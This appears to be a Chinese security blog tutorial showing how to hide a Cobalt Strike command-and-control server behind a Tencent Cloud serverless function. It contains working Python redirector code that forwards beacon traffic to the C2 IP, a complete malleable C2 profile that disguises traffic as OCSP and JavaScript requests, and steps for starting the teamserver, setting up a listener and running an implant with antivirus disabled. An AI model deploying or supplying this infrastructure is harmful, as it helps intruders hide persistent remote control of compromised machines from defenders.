介绍
说明:云函数是一个可以为开发者提供的无服务器执行代码的环境,相当于我们可以提前部署一个云函数,当我们需要运行这段代码的时候只需要通过去请求某一个特定的地址(即云函数地址)就可以运行了。因为云函数的请求域名解析出来的IP是变化的,所以可以用来隐藏c2地址
实现
1.配置云函数
打开腾讯云云函数配置中心,从头开始配置一个云函数,注意选择python3.6
配置代码写如下代码,c2地址填写 协议+ip+port,如http://127.0.0.1:80,本文使用80端口,所以后续使用http beacon
# -*- coding: utf8 -*-
import json,requests,base64
def main_handler(event, context):
C2='http://ip'
path=event['path']
headers=event['headers']
print(event)
if event['httpMethod'] == 'GET' :
resp=requests.get(C2+path,headers=headers,verify=False)
else:
resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)
print(resp.headers)
print(resp.content)
response={
"isBase64Encoded": True,
"statusCode": resp.status_code,
"headers": dict(resp.headers),
"body": str(base64.b64encode(resp.content))[2:-1]
}
return response
这段代码什么意思呢
该函数的目的是将传入的 HTTP 请求转发到指定的 URL,并将响应返回给调用方。
该函数从事件中提取出 HTTP 请求的路径、标头和正文。然后,它使用 Python 的 requests 库将请求发送到指定的 URL,并获取响应。最后,该函数将响应的状态码、标头和正文转换为一个 JSON 对象,并将其返回给调用方。
运行一下看是否正常,然后部署
配置一下触发管理
然后点这里继续配置
编辑配置(右上角)
路径改成/
然后完成,此时我们就会得到一个公网地址,这个就会作为我们的c2上线地址
2.配置cs
cs根目录配置一个cs的profile(这里不需要任何改动)只需要把后缀改成.profile
set sample_name "kris_abao";
set sleeptime "3000";
set jitter "0";
set maxdns "255";
set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";
http-get {
set uri "/api/getit";
client {
header "Accept" "*/*";
metadata {
base64;
prepend "SESSIONID=";
header "Cookie";
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Server" "Nodejs";
output {
base64;
print;
}
}
}
http-stager {
set uri_x86 "/vue.min.js";
set uri_x64 "/bootstrap-2.min.js";
}
http-post {
set uri "/api/postit";
client {
header "Accept" "*/*";
id {
base64;
prepend "JSESSION=";
header "Cookie";
}
output {
base64;
print;
}
}
server {
header "Content-Type" "application/ocsp-response";
header "content-transfer-encoding" "binary";
header "Connection" "keep-alive";
output {
base64;
print;
}
}
}
这段代码是一个基于HTTP的攻击工具的配置文件,用于定制攻击行为。其中设置了多个变量,包括样本名称、sleep时间、抖动时间、最大DNS数量和用户代理。代码定义了三个HTTP请求:http-get、http-stager和http-post。每个请求都设置了URI路径,并定义了客户端和服务器端的HTTP头部。客户端头部设置了Accept和Cookie,其中Cookie值使用base64编码。服务器端头部设置了Content-Type、content-transfer-encoding和Server。输出使用base64编码并打印。此外,该代码还说明了HTTP请求的基本结构和用途。然后服务端启动cs
./teamserver 你的vps(服务端)ip 密码 ./1.profile
出现这样的界面就ok了(建议用高版本cs,我之前用4.0一直起不来)
然后启动对应版本号的cs客户端
设置监听器,选http就行
把这里的公网域名复制到http hosts和http host(stager)里
(注意,host里不需要加http:和端口,不懂可以百度一下host是什么)
然后监听器创建成功
接着尝试给自己电脑上一个马子(记得关杀软)
选择刚才建立的监听器
然后运行exe,可以发现ip一直在变化
自此,我们已经实现用云函数隐藏c2地址
一些可能踩雷的点
如果云函数代码里配置的是vps80端口,记得不要和其他进程冲突端口
记得vps开启50050(如果设置的是cs默认连接端口)和80端口
profile文件缩进不当会报错
欢迎关注麋鹿安全,我们的文章会第一时间更新在公众号